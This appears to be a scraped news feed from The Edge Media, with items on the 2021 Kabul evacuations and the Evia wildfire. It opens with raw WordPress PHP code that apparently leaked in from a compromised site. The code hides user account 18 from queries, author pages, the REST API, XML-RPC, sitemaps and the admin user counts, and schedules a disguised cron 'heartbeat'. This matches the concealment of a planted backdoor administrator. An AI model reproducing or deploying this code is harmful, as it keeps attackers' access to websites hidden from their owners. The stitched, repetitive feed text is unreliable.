add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post As the Evacuation of Kabul Draws to a Close, Several Rockets are Fired Towards the Airport appeared first on The Edge Media.
]]>
The missiles were fired from a car in north Kabul, according to a security official who worked in the administration deposed by the Taliban two weeks ago. In the north, where the Hamid Karzai International Airport is located, smoke could be seen rising above buildings.
The post As the Evacuation of Kabul Draws to a Close, Several Rockets are Fired Towards the Airport appeared first on The Edge Media.
]]>The post Sweden ends its evacuations out of Kabul appeared first on The Edge Media.
]]>Those evacuated included embassy employees and their families, locally employed guards and their families, armed forces employees and 500 Swedes, Swedish Foreign Minister Ann Linde said.
In addition, Sweden also evacuated women’s rights activists, journalists and EU employees.
But Sweden was unable to evacuate all those on the so-called “Sweden list” of people seeking help to leave the country.
“The incredibly difficult and risky conditions meant we were not able to evacuate more Swedes and local employees,” Swedish Foreign Minister Ann Linde told reporters.
Both Linde and the head of Sweden’s Migration Board, Mikael Ribbenvik, said that even though the airlift had ended, the Scandinavian country would continue to try to help people associated with Sweden to leave the country.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Sweden ends its evacuations out of Kabul appeared first on The Edge Media.
]]>The post After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India appeared first on The Edge Media.
]]>This evacuation came about a week after the last group of Indians, the workers of the Indian Embassy in Kabul, arrived in Jamnagar, Gujarat. Kabul. Among the evacuees were 24 Sikhs, including two Afghan senators.
Air India, IndiGo, and Vistara, three additional flights carrying Indians evacuated from Kabul, landed in the national capital earlier in the day from Tajikistan’s capital Dushanbe and Qatar’s Doha. According to government sources, India has been granted permission to fly two aircraft per day from Kabul to remove its people stranded in Afghanistan.
The Taliban’s ‘capture’ of Indian citizens comes only hours after an Air Force transport plane successfully evacuated 85 Indians from Kabul.
The post After a Harrowing Taliban Experience, 168 passengers Board an Air Force flight to India appeared first on The Edge Media.
]]>The post Greek’s second largest island gets engulfed by fire, residents urged to flee. appeared first on The Edge Media.
]]>The fire on Evia, an island of forested mountains and canyons laced with small coves of crystalline water, began aug 3 and cut across the popular summer destination from coast to coast as it burned out of control.
The blaze now is the most severe of dozens that broke out in Greece in the wake of the country’s most protracted heat wave in three decades, which sent temperatures soaring to 45 degrees celsius for days and created bone-dry conditions.
Three patrol boats and a ferry were on standby at Peki to evacuate residents .
Around 350 people already boarded the ferry and 23 people were picked up by coast guard as fire cut off many road-based escape routes.
The post Greek’s second largest island gets engulfed by fire, residents urged to flee. appeared first on The Edge Media.
]]>